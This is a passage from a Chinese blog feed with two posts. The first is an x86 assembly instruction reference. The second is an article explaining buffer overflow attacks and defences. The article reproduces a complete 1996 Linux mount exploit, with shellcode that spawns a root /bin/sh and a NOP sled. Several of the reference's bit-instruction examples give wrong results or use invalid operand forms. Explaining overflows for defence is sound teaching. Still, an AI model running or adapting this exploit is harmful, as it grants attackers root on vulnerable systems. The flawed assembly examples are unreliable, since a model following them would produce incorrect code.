<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;JNO&nbsp;&nbsp;&nbsp;&nbsp;不溢出时转移. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;JNP/JPO 奇偶性为奇数时转移. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;JNS&nbsp;&nbsp;&nbsp;&nbsp;符号位为 "0" 时转移. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;JO&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;溢出转移. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;JP/JPE&nbsp;&nbsp;奇偶性为偶数时转移. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;JS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;符号位为 "1" 时转移. <BR>&nbsp;&nbsp;&nbsp;&nbsp;3&gt;循环控制指令(短转移) <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;LOOP&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CX不为零时循环. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;LOOPE/LOOPZ&nbsp;&nbsp;&nbsp;&nbsp;CX不为零且标志Z=1时循环. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;LOOPNE/LOOPNZ&nbsp;&nbsp;CX不为零且标志Z=0时循环. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;JCXZ&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CX为零时转移. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;JECXZ&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ECX为零时转移. <BR>&nbsp;&nbsp;&nbsp;&nbsp;4&gt;中断指令 <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;INT&nbsp;&nbsp;&nbsp;&nbsp;中断指令 <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;INTO&nbsp;&nbsp;&nbsp;&nbsp;溢出中断 <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;IRET&nbsp;&nbsp;&nbsp;&nbsp;中断返回 <BR>&nbsp;&nbsp;&nbsp;&nbsp;5&gt;处理器控制指令 <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HLT&nbsp;&nbsp;&nbsp;&nbsp;处理器暂停, 直到出现中断或复位信号才继续. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;WA</FONT><A href="http://www.ithack.net/articles/itlife" target=_blank>IT</A><FONT color=#333333>&nbsp;&nbsp;&nbsp;&nbsp;当芯片引线TEST为高电平时使CPU进入等待状态. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ESC&nbsp;&nbsp;&nbsp;&nbsp;转换到外处理器. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;LOCK&nbsp;&nbsp;&nbsp;&nbsp;封锁总线. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NOP&nbsp;&nbsp;&nbsp;&nbsp;空操作. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;STC&nbsp;&nbsp;&nbsp;&nbsp;置进位标志位. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CLC&nbsp;&nbsp;&nbsp;&nbsp;清进位标志位. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CMC&nbsp;&nbsp;&nbsp;&nbsp;进位标志取反. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;STD&nbsp;&nbsp;&nbsp;&nbsp;置方向标志位. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CLD&nbsp;&nbsp;&nbsp;&nbsp;清方向标志位. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;STI&nbsp;&nbsp;&nbsp;&nbsp;置中断允许位. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CLI&nbsp;&nbsp;&nbsp;&nbsp;清中断允许位. <BR><BR>六、伪指令 <BR>─────────────────────────────────────── <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;　　DW&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;定义字(2字节). <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;PROC&nbsp;&nbsp;&nbsp;&nbsp;定义过程. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ENDP&nbsp;&nbsp;&nbsp;&nbsp;过程结束. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SEGMENT 定义段. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ASSUME&nbsp;&nbsp;建立段寄存器寻址. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ENDS&nbsp;&nbsp;&nbsp;&nbsp;段结束. <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;END&nbsp;&nbsp;&nbsp;&nbsp;程序结束.&nbsp;</FONT></P>
<P><FONT color=#333333>七、寄存器</FONT></P>
<P><FONT color=#333333>1.&nbsp;Register usage in 32 bit Windows<BR>Function parameters are passed on the stack according to the calling conventions listed on<BR>page 13. Parameters of 32 bits size or less use one DWORD of stack space. Parameters<BR>bigger than 32 bits are stored in little-endian form, i.e. with the least significant DWORD at the<BR>lowest address, and DWORD aligned.<BR>Function return values are passed in registers in most cases. 8-bit integers are returned in<BR>AL, 16-bit integers in AX, 32-bit integers, pointers, and Booleans in EAX, 64-bit integers in<BR>EDX:EAX, and floating-point values in ST(0). Structures and class objects not exceeding<BR>64 bits size are returned in the same way as integers, even if the structure contains floating<BR>point values. Structures and class objects bigger than 64 bits are returned through a pointer<BR>passed to the function as the first parameter and returned in EAX. Compilers that don\'t<BR>support 64-bit integers may return structures bigger than 32 bits through a pointer. The<BR>Borland compiler also returns structures through a pointer if the size is not a power of 2.<BR>Registers EAX, ECX and EDX may be changed by a procedure. All other general-purpose<BR>registers (EBX, ESI, EDI, EBP) must be saved and restored if they are used. The value of<BR>ESP must be divisible by 4 at all times, so don\'t push 16-bit data on the stack. Segment<BR>registers cannot be changed, not even temporarily. CS, DS, ES, and SS all point to the flat<BR>segment group. FS is used for a thread environment block. GS is unused, but reserved.<BR>Flags may be changed by a procedure with the following restrictions: The direction flag is 0<BR>by default. The direction flag may be set temporarily, but must be cleared before any call or<BR>return. The interrupt flag cannot be cleared. The floating-point register stack is empty at the<BR>entry of a procedure and must be empty at return, except for ST(0) if it is used for return<BR>value. MMX registers may be changed by the procedure and if so cleared by EMMS before<BR>returning and before calling any other procedure that may use floating-point registers. All<BR>XMM registers can be modified by procedures. Rules for passing parameters and return<BR>values in XMM registers are described in Intel\'s application note AP 589 "Software<BR>Conventions for Streaming SIMD Extensions". A procedure can rely on EBX, ESI, EDI, EBP<BR>and all segment registers being unchanged across a call to another procedure.<BR>2.&nbsp;Register usage in Linux<BR>The rules for register usage in Linux appear to be almost the same as for 32-bit windows.<BR>Registers EAX, ECX, and EDX may be changed by a procedure. All other general-purpose<BR>registers must be saved. There appears to be no rule for the direction flag. Function return<BR>values are transferred in the same way as under Windows. Calling conventions are the<BR>same, except for the fact that no underscore is prefixed to public names. I have no<BR>information about the use of FS and GS in Linux. It is not difficult to make an assembly<BR>function that works under both Windows and Linux, if only you take these minor differences<BR>into account.</FONT></P>
<P><FONT color=#333333></FONT>&nbsp;</P>
<P><FONT color=#333333>八、位操作指令，处理器控制指令<BR>&nbsp;1.位操作指令，8086新增的一组指令，包括位测试，位扫描。BT,BTC,BTR,BTS,BSF,BSR<BR>&nbsp;1.1 BT(Bit Test)，位测试指令，指令格式:<BR>&nbsp;&nbsp; BT OPRD1,OPRD2,规则：操作作OPRD1可以是16位或32位的通用寄存器或者存储单元。操作数OPRD2必须是8位立即数或者是与OPRD1操作数长度相等的通用寄存器。如果用OPRD2除以OPRD1，假设商存放在Divd中，余数存放在Mod中，那么对OPRD1操作数要进行测试的位号就是Mod,它的主要功能就是把要测试位的值送往CF，看几个简单的例子：<BR>&nbsp;1.2 BTC(Bit Test And Complement)，测试并取反用法和规则与BT是一样，但在功能有些不同，它不但将要测试位的值送往CF，并且还将该位取反。<BR>&nbsp;1.3 BTR(Bit Test And Reset)，测试并复位，用法和规则与BT是一样，但在功能有些不同，它不但将要测试位的值送往CF，并且还将该位复位(即清0)。<BR>&nbsp;1.4 BTS(Bit Test And Set)，测试并置位，用法和规则与BT是一样，但在功能有些不同，它不但将要测试位的值送往CF，并且还将该位置位(即置1)。<BR>&nbsp;1.5 BSF(Bit Scan Forward)，顺向位扫描，指令格式:BSF OPRD1,OPRD2，功能：将从右向左(从最低位到最高位）对OPRD2操作数进行扫描，并将第一个为1的位号送给操作数OPRD1。操作数OPRD1，OPRD2可以是16位或32位通用寄存器或者存储单元，但OPRD1和OPRD2操作数的长度必须相等。<BR>&nbsp;1.6 BSR(Bit Scan Reverse)，逆向位扫描，指令格式:BSR OPRD1,OPRD2，功能：将从左向右(从最高位到最低位）对OPRD2操作数进行扫描，并将第一个为1的位号送给操作数OPRD1。操作数OPRD1，OPRD2可以是16位或32位通用寄存器或存储单元，但OPRD1和OPRD2操作数的长度必须相等。<BR>&nbsp;1.7 举个简单的例子来说明这6条指令:</FONT></P>
<P><FONT color=#333333>&nbsp;AA DW 1234H,5678H<BR>&nbsp;BB DW 9999H,7777H<BR>&nbsp;MOV EAX,12345678H<BR>&nbsp;MOV BX,9999H<BR>&nbsp;BT EAX,8;CF=0,EAX保持不变<BR>&nbsp;BTC EAX,8;CF=0,EAX=12345778H<BR>&nbsp;BTR EAX,8;CF=0,EAX=12345678H<BR>&nbsp;BTS EAX,8;CF=0,EAX=12345778H <BR>&nbsp;BSF AX,BX;AX=0<BR>&nbsp;BSR AX,BX;AX=15<BR>&nbsp;<BR>&nbsp;BT WORD PTR [AA],4;CF=1，[AA]的内容不变<BR>&nbsp;BTC WORD PTR [AA],4;CF=1，[AA]=1223H<BR>&nbsp;BTR WORD PTR [AA],4;CF=1，[AA]=1223H<BR>&nbsp;BTS WORD PTR [AA],4;CF=1，[AA]=1234H<BR>&nbsp;BSF WORD PTR [AA],BX;[AA]=0;<BR>&nbsp;BSR WORD PTR [AA],BX;[AA]=15(十进制)&nbsp; <BR>&nbsp;<BR>&nbsp;BT DWORD PTR [BB],12;CF=1,[BB]的内容保持不变<BR>&nbsp;BTC DWORD PTR [BB],12;CF=1,[BB]=76779999H<BR>&nbsp;BTR DWORD PTR [BB],12;CF=1,[BB]=76779999H<BR>&nbsp;BTS DWORD PTR [BB],12;CF=1,[BB]=77779999H<BR>&nbsp;BSF DWORD PTR [BB],12;[BB]=0<BR>&nbsp;BSR DWORD PTR [BB],12;[BB]=31(十进制)&nbsp; </FONT></P>
<P><FONT color=#333333>&nbsp;2.处理器控制指令<BR>&nbsp;处理器控制指令主要是用来设置/清除标志，空操作以及与外部事件同步等。<BR>&nbsp;2.1 CLC，将CF标志位清0。<BR>&nbsp;2.2 STC，将CF标志位置1。<BR>&nbsp;2.3 CLI，关中断。<BR>&nbsp;2.4 STI，开中断。<BR>&nbsp;2.5 CLD，清DF=0。<BR>&nbsp;2.6 STD，置DF=1。<BR>&nbsp;2.7 NOP，空操作，填补程序中的空白区，空操作本身不执行任何操作，主要是为了保持程序的连续性。<BR>&nbsp;2.8 WAIT，等待BUSY引脚为高。<BR>&nbsp;2.9 LOCK，封锁前缀可以锁定其后指令的操作数的存储单元，该指令在指令执行期间一直有效。在多任务环境中，可以用它来保证独占其享内存，只有以下指令才可以用LOCK前缀:<BR>&nbsp; XCHG,ADD,ADC,INC,SUB,SBB,DEC,NEG,OR,AND,XOR,NOT,BT,BTS,BTR,BTC<BR>&nbsp;3.0 说明处理器类型的伪指令<BR>&nbsp; .8086，只支持对8086指令的汇编<BR>&nbsp; .186，只支持对80186指令的汇编<BR>&nbsp; .286，支持对非特权的80286指令的汇编<BR>&nbsp; .286C，支持对非特权的80286指令的汇编<BR>&nbsp; .286P，支持对80286所有指令的汇编<BR>&nbsp; .386，支持对80386非特权指令的汇编<BR>&nbsp; .386C，支持对80386非特权指令的汇编<BR>&nbsp; .386P，支持对80386所有指令的汇编<BR>&nbsp; 只有用伪指令说明了处理器类型，汇编程序才知道如何更好去编译，连接程序，更好地去检错。<BR>&nbsp; 在后续的几篇里将详细介绍80386的段页管理机制及控制寄存器，调试寄存器，以及如何在386实模下和保护模式下编程。<BR></FONT></P><img src ="http://www.blogjava.net/RR00/aggbug/23222.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/RR00/" target="_blank">R.Zeus</a> 2005-12-09 22:05 <a href="http://www.blogjava.net/RR00/articles/23222.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>缓冲区溢出原理及防护</title><link>http://www.blogjava.net/RR00/articles/23035.html</link><dc:creator>R.Zeus</dc:creator><author>R.Zeus</author><pubDate>Thu, 08 Dec 2005 13:02:00 GMT</pubDate><guid>http://www.blogjava.net/RR00/articles/23035.html</guid><wfw:comment>http://www.blogjava.net/RR00/comments/23035.html</wfw:comment><comments>http://www.blogjava.net/RR00/articles/23035.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/RR00/comments/commentRss/23035.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/RR00/services/trackbacks/23035.html</trackback:ping><description><![CDATA[<P>中科院研究生院　　蒋　涛 <BR><BR>摘 要 本文详细分析了缓冲区溢出的原理，描述了网络攻击者利用缓冲区溢出漏洞进行系统攻击的一般过程，最后简单讨论了几种缓冲区溢出的保护方法。<BR>关键词　缓冲区溢出 缓冲区溢出漏洞 安全攻击 缓冲区溢出保护<BR><BR>在过去的十年中，以缓冲区溢出为攻击类型的安全漏洞是最为常见的一种形式。更为严重的是，缓冲区溢出漏洞占了远程网络攻击的绝大多数，这种攻击可以使得一个匿名的Internet用户有机会获得一台主机的部分或全部的控制权！由于这类攻击使任何人都有可能取得主机的控制权，所以它代表了一类极其严重的安全威胁。<BR><BR>缓冲区<A class=Channel_KeyLink href="http://77169.org/Article/Special/Special3/Index.html">溢出攻击</A>之所以成为一种常见的攻击手段，其原因在于缓冲区溢出漏洞太普通了，并且易于实现。而且，缓冲区溢出所以成为远程攻击的主要手段，其原因在于缓冲区溢出漏洞给予了攻击者所想要的一切：殖入并且执行攻击代码。被殖入的攻击代码以一定的权限运行有缓冲区溢出漏洞的程序，从而得到被攻击主机的控制权。本文简单介绍了缓冲区溢出的基本原理和预防办法。<BR><BR><BR>一、缓冲区溢出的概念和原理<BR><BR>缓冲区是内存中存放数据的地方。在程序试图将数据放到机器内存中的某一个位置的时候，因为没有足够的<A class=Channel_KeyLink href="http://idc.77169.com/">空间</A>就会发生缓冲区溢出。而人为的溢出则是有一定企图的，攻击者写一个超过缓冲区长度的字符串，植入到缓冲区，然后再向一个有限<A class=Channel_KeyLink href="http://idc.77169.com/">空间</A>的缓冲区中植入超长的字符串，这时可能会出现两个结果：一是过长的字符串覆盖了相邻的存储单元，引起程序运行失败，严重的可导致系统崩溃；另一个结果就是利用这种漏洞可以执行任意指令，甚至可以取得系统root特级权限。<BR><BR>缓冲区是程序运行的时候机器内存中的一个连续块，它保存了给定类型的数据，随着动态分配变量会出现问题。大多时为了不占用太多的内存，一个有动态分配变量的程序在程序运行时才决定给它们分配多少内存。如果程序在动态分配缓冲区放入超长的数据，它就会溢出了。一个缓冲区溢出程序使用这个溢出的数据将汇编语言代码放到机器的内存里，通常是产生root权限的地方。仅仅单个的缓冲区溢出并不是问题的根本所在。但如果溢出送到能够以root权限运行命令的区域，一旦运行这些命令，那可就等于把机器拱手相让了。<BR>造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。例如下面程序：<BR><BR>example1.c <BR>void func1(char *input) { <BR>char buffer[16]; <BR>strcpy(buffer, input); <BR>}<BR><BR>上面的strcpy()将直接吧input中的内容copy到buffer中。这样只要input的长度大于16，就会造成buffer的溢出，使程序运行出错。存在像strcpy这样的问题的标准函数还有strcat(),sprintf(),vsprintf(),gets(),scanf(),以及在循环内的getc(),fgetc(),getchar()等。 <BR><BR>当然，随便往缓冲区中填东西造成它溢出一般只会出现Segmentation fault 错误，而不能达到攻击的目的。最常见的手段是通过制造缓冲区溢出使程序运行一个用户shell，再通过shell执行其他命令。如果该程序属于root且有suid权限的话，攻击者就获得了一个有root权限的shell，便可以对系统进行任意操作了。<BR><BR>请注意，如果没有特别说明，下面的内容都假设用户使用的平台为基于Intel x86 CPU的Linux系统。对其他平台来说，本文的概念同样适用，但程序要做相应修改。<BR><BR><BR>二、制造缓冲区溢出 <BR><BR>一个程序在内存中通常分为程序段、数据段和堆栈三部分。程序段里放着程序的机器码和只读数据。数据段放的是程序中的静态数据。动态数据则通过堆栈来存放。在内存中，它们的位置是： <BR><BR></P>
<DIV style="OVERFLOW-X: auto; WIDTH: 100%"><A href="http://www.77169.org/Article/UploadFiles/200509/20050904205001670.gif" target=_blank><IMG alt=attachments/200509/04_194023_1.gif src="http://www.77169.org/Article/UploadFiles/200509/20050904205001670.gif"></A></DIV>
<P><BR>当程序中发生函数调用时，计算机做如下操作：首先把参数压入堆栈；然后保存指令寄存器(IP)中的内容作为返回地址(RET)；第三个放入堆栈的是基址寄存器(FP)；然后把当前的栈指针(SP)拷贝到FP，做为新的基地址；最后为本地变量留出一定<A class=Channel_KeyLink href="http://idc.77169.com/">空间</A>，把SP减去适当的数值。以下面程序为例：<BR><BR>example2.c <BR>void func1(char * input) { <BR>char buffer[16]; <BR>strcpy(buffer, input); <BR>} <BR>void main() { <BR>char longstring[256]; <BR>int i; <BR>for( i = 0; i &lt; 255; i++) <BR>longstring [i] = 'B'; <BR>func1(longstring); <BR>}<BR><BR>当调用函数func1()时，堆栈如下：<BR></P>
<DIV style="OVERFLOW-X: auto; WIDTH: 100%"><A href="http://www.77169.org/Article/UploadFiles/200509/20050904205005248.gif" target=_blank><IMG alt=attachments/200509/04_194043_2.gif src="http://www.77169.org/Article/UploadFiles/200509/20050904205005248.gif"></A></DIV>
<P><BR>不用说，程序执行的结果是"Segmentation fault (core dumped)"或类似的出错信息。因为从buffer开始的256个字节都将被* input的内容'B'覆盖，包括sfp, ret,甚至*input。'B'的16进值为0x41，所以函数的返回地址变成了0x41414141，这超出了程序的地址<A class=Channel_KeyLink href="http://idc.77169.com/">空间</A>，所以出现段错误。<BR><BR><BR>三、缓冲区溢出漏洞攻击方式<BR><BR>缓冲区溢出漏洞可以使任何一个有黑客技术的人取得机器的控制权甚至是最高权限。一般利用缓冲区溢出漏洞攻击root程序，大都通过执行类似“exec(sh)”的执行代码来获得root 的shell。黑客要达到目的通常要完成两个任务，就是在程序的地址<A class=Channel_KeyLink href="http://idc.77169.com/">空间</A>里安排适当的代码和通过适当的初始化寄存器和存储器，让程序跳转到安排好的地址<A class=Channel_KeyLink href="http://idc.77169.com/">空间</A>执行。<BR><BR>1、在程序的地址<A class=Channel_KeyLink href="http://idc.77169.com/">空间</A>里安排适当的代码<BR>在程序的地址<A class=Channel_KeyLink href="http://idc.77169.com/">空间</A>里安排适当的代码往往是相对简单的。如果要攻击的代码在所攻击程序中已经存在了，那么就简单地对代码传递一些参数，然后使程序跳转到目标中就可以完成了。攻击代码要求执行“exec(‘/bin/sh’)”，而在libc库中的代码执行“exec(arg)”，其中的“arg”是个指向字符串的指针参数，只要把传入的参数指针修改指向“/bin/sh”，然后再跳转到libc库中的响应指令序列就可以了。当然，很多时候这个可能性是很小的，那么就得用一种叫“植入法”的方式来完成了。当向要攻击的程序里输入一个字符串时，程序就会把这个字符串放到缓冲区里，这个字符串包含的数据是可以在这个所攻击的目标的硬件平台上运行的指令序列。缓冲区可以设在：堆栈（自动变量）、堆（动态分配的）和静态数据区（初始化或者未初始化的数据）等的任何地方。也可以不必为达到这个目的而溢出任何缓冲区，只要找到足够的<A class=Channel_KeyLink href="http://idc.77169.com/">空间</A>来放置这些攻击代码就够了。<BR><BR>2、控制程序转移到攻击代码的形式<BR>缓冲区溢出漏洞攻击都是在寻求改变程序的执行流程，使它跳转到攻击代码，最为基本的就是溢出一个没有检查或者其他漏洞的缓冲区，这样做就会扰乱程序的正常执行次序。通过溢出某缓冲区，可以改写相近程序的<A class=Channel_KeyLink href="http://idc.77169.com/">空间</A>而直接跳转过系统对身份的验证。原则上来讲攻击时所针对的缓冲区溢出的程序<A class=Channel_KeyLink href="http://idc.77169.com/">空间</A>可为任意<A class=Channel_KeyLink href="http://idc.77169.com/">空间</A>。但因不同地方的定位相异，所以也就带出了多种转移方式。<BR><BR>（1）Function Pointers（函数指针）<BR>在程序中，“void (* foo) ( )”声明了个返回值为“void” Function Pointers的变量“foo”。Function Pointers可以用来定位任意地址<A class=Channel_KeyLink href="http://idc.77169.com/">空间</A>，攻击时只需要在任意<A class=Channel_KeyLink href="http://idc.77169.com/">空间</A>里的Function Pointers邻近处找到一个能够溢出的缓冲区，然后用溢出来改变Function Pointers。当程序通过Function Pointers调用函数，程序的流程就会实现。<BR><BR>（2）Activation Records（激活记录）<BR>当一个函数调用发生时，堆栈中会留驻一个Activation Records，它包含了函数结束时返回的地址。执行溢出这些自动变量，使这个返回的地址指向攻击代码，再通过改变程序的返回地址。当函数调用结束时，程序就会跳转到事先所设定的地址，而不是原来的地址。这样的溢出方式也是较常见的。<BR><BR>（3）Longjmp buffers（长跳转缓冲区）<BR>在C语言中包含了一个简单的检验/恢复系统，称为“setjmp/longjmp”，意思是在检验点设定“setjmp(buffer)”，用longjmp(buffer)“来恢复检验点。如果攻击时能够进入缓冲区的<A class=Channel_KeyLink href="http://idc.77169.com/">空间</A>，感觉“longjmp(buffer)”实际上是跳转到攻击的代码。像Function Pointers一样，longjmp缓冲区能够指向任何地方，所以找到一个可供溢出的缓冲区是最先应该做的事情。<BR><BR>3、植入综合代码和流程控制<BR>常见的溢出缓冲区攻击类是在一个字符串里综合了代码植入和Activation Records。攻击时定位在一个可供溢出的自动变量，然后向程序传递一个很大的字符串，在引发缓冲区溢出改变Activation Records的同时植入代码（权因C在习惯上只为用户和参数开辟很小的缓冲区）。植入代码和缓冲区溢出不一定要一次性完成，可以在一个缓冲区内放置代码（这个时候并不能溢出缓冲区），然后通过溢出另一个缓冲区来转移程序的指针。这样的方法一般是用于可供溢出的缓冲区不能放入全部代码时的。如果想使用已经驻留的代码不需要再外部植入的时候，通常必须先把代码做为参数。在libc（熟悉C的朋友应该知道，现在几乎所有的C程序连接都是利用它来连接的）中的一部分代码段会执行“exec(something)”，当中的something就是参数，使用缓冲区溢出改变程序的参数，然后利用另一个缓冲区溢出使程序指针指向libc中的特定的代码段。<BR><BR>程序编写的错误造成网络的不安全性也应当受到重视，因为它的不安全性已被缓冲区溢出表现得淋漓尽致了。<BR><BR><BR>四、利用缓冲区溢出进行的系统攻击<BR><BR>如果已知某个程序有缓冲区溢出的缺陷，如何知道缓冲区的地址，在哪儿放入shell代码呢？由于每个程序的堆栈起始地址是固定的，所以理论上可以通过反复重试缓冲区相对于堆栈起始位置的距离来得到。但这样的盲目猜测可能要进行数百至上千次，实际上是不现实的。解决的办法是利用空指令NOP。在shell代码前面放一长串的NOP，返回地址可以指向这一串NOP中任一位置，执行完NOP指令后程序将激活shell进程。这样就大大增加了猜中的可能性。下面是一个缓冲区<A class=Channel_KeyLink href="http://77169.org/Article/Special/Special3/Index.html">溢出攻击</A>的实例，它利用了系统程序mount的漏洞：<BR><BR>example5.c <BR>/* Mount Exploit for Linux, Jul 30 1996 <BR>Discovered and Coded by Bloodmask &amp; Vio <BR>Covin Security 1996 <BR>*/ <BR>#include <UNISTD.H><BR>#include <STDIO.H><BR>#include <STDLIB.H><BR>#include <FCNTL.H><BR>#include <SYS stat.h><BR>#define PATH_MOUNT "/bin/umount" <BR>#define BUFFER_SIZE 1024 <BR>#define DEFAULT_OFFSET 50 <BR>u_long get_esp() <BR>{ <BR>__asm__("movl %esp, %eax"); <BR>} <BR><BR>main(int argc, char **argv) <BR>{ <BR>u_char execshell[] = <BR>"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f" <BR>"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd" <BR>"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh"; <BR>char *buff = NULL; <BR>unsigned long *addr_ptr = NULL; <BR>char *ptr = NULL; <BR>int i; <BR>int ofs = DEFAULT_OFFSET; <BR>buff = malloc(4096); <BR>if(!buff) <BR>{ <BR>printf("can't allocate memory\n"); <BR>exit(0); <BR>} <BR>ptr = buff; <BR>/* fill start of buffer with nops */ <BR>memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell)); <BR>ptr += BUFFER_SIZE-strlen(execshell); <BR>/* stick asm code into the buffer */ <BR>for(i=0;i &lt; strlen(execshell);i++) <BR>*(ptr++) = execshell[i]; <BR>addr_ptr = (long *)ptr; <BR>for(i=0;i &lt; (8/4);i++) <BR>*(addr_ptr++) = get_esp() + ofs; <BR>ptr = (char *)addr_ptr; <BR>*ptr = 0; <BR>(void)alarm((u_int)0); <BR>printf("Discovered and Coded by Bloodmask and Vio, Covin 1996\n"); <BR>execl(PATH_MOUNT, "mount", buff, NULL); <BR>}<BR><BR>程序中get_esp()函数的作用就是定位堆栈位置。程序首先分配一块暂存区buff,然后在buff的前面部分填满NOP，后面部分放shell代码。最后部分是希望程序返回的地址，由栈地址加偏移得到。当以buff为参数调用mount时，将造成mount程序的堆栈溢出，其缓冲区被buff覆盖，而返回地址将指向NOP指令。 <BR><BR>由于mount程序的属主是root且有suid位，普通用户运行上面程序的结果将获得一个具有root权限的shell。<BR><BR><BR>五、缓冲区溢出的保护方法<BR><BR>目前有四种基本的方法保护缓冲区免受缓冲区溢出的攻击和影响：<BR><BR>1、强制写正确的代码的方法<BR>编写正确的代码是一件非常有意义但耗时的工作，特别像编写C语言那种具有容易出错倾向的程序（如：字符串的零结尾），这种风格是由于追求性能而忽视正确性的传统引起的。尽管花了很长的时间使得人们知道了如何编写安全的程序，具有安全漏洞的程序依旧出现。因此人们开发了一些工具和技术来帮助经验不足的程序员编写安全正确的程序。虽然这些工具帮助程序员开发更安全的程序，但是由于C语言的特点，这些工具不可能找出所有的缓冲区溢出漏洞。所以，侦错技术只能用来减少缓冲区溢出的可能，并不能完全地消除它的存在。除非程序员能保证他的程序万无一失，否则还是要用到以下部分的内容来保证程序的可靠性能。<BR><BR>2、通过操作系统使得缓冲区不可执行，从而阻止攻击者殖入攻击代码<BR>这种方法有效地阻止了很多缓冲区溢出的攻击，但是攻击者并不一定要殖入攻击代码来实现缓冲区溢出的攻击，所以这种方法还是存在很多弱点的。<BR><BR>3、利用编译器的边界检查来实现缓冲区的保护<BR>这个方法使得缓冲区溢出不可能出现，从而完全消除了缓冲区溢出的威胁，但是相对而言代价比较大。<BR><BR>4、在程序指针失效前进行完整性检查<BR>这样虽然这种方法不能使得所有的缓冲区溢出失效，但它的确确阻止了绝大多数的缓冲区<A class=Channel_KeyLink href="http://77169.org/Article/Special/Special3/Index.html">溢出攻击</A>，而能够逃脱这种方法保护的缓冲区溢出也很难实现。<BR><BR>最普通的缓冲区溢出形式是攻击活动纪录然后在堆栈中殖入代码。这种类型的攻击在1996年中有很多纪录。而非执行堆栈和堆栈保护的方法都可以有效防卫这种攻击。非执行堆栈可以防卫所有把代码殖入堆栈的攻击方法，堆栈保护可以防卫所有改变活动纪录的方法。这两种方法相互兼容，可以同时防卫多种可能的攻击。<BR>剩下的攻击基本上可以用指针保护的方法来防卫，但是在某些特殊的场合需要用手工来实现指针保护。全自动的指针保护需要对每个变量加入附加字节，这样使得指针边界检查在某些情况下具有优势。<BR><BR>最为有趣的是，缓冲区溢出漏洞--Morris蠕虫使用了现今所有方法都无法有效防卫的方法，但是由于过于复杂的缘故却很少有人用到。<BR><BR>在本文中，我们详细描述和分析了缓冲区溢出的原理，并简单介绍了几种防卫方法。由于这种攻击是目前常见的攻击手段，所以进行这个方面的研究工作是有意义和成效的。<BR><BR><BR>参考文献<BR>[1] 网络<A class=Channel_KeyLink href="http://77169.org/Article/Class2/Class11/Index.html">入侵检测</A>分析员手册. Stephen 